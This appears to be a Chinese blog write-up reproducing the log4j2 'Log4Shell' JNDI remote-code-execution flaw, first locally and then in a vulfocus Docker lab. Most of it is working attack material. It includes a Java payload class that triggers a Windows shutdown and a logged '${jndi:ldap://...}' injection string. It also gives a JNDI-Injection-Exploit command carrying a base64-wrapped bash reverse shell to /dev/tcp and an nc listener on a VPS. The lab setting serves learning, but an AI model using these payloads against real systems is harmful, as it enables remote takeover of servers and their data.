复现过程
1.javac 编译InjectClass.java
这是别人的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.File; import java.io.IOException;
public class InjectClass { public InjectClass() { try { Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "Shutdown.exe -s -t 3600"}); } catch (IOException e) { e.printStackTrace(); } }
public static void main(String[] args) { new InjectClass(); } }
|
2.启动工具


| import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Start {
private static final Logger logger = LogManager.getLogger(Start.class);
public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:1389/InjectClass}"); }
}
|
这里弹了这个,后来我发现是我的jdk版本高了,然后我重新装了一个jdk:jdk1.8.0_92。
3.成功弹出

靶场复现
1.启动环境
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

2.dnslog检测

这里回显成功,忘记留图了
3.反弹shll
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,bash -i >& /dev/tcp/ip/port 0>&1}|{base64,-d}|{bash,-i}" -A "ip"
|
开启服务

4.在vps上开启监听
nc -lvvp 9999
5.bp发送请求

6.成功

参考:https://mp.weixin.qq.com/s/YnSySVXMHnCKefcCTdJZ6A
名言通
当悲伤来临的时候,不是单个来的,而是成群结队的。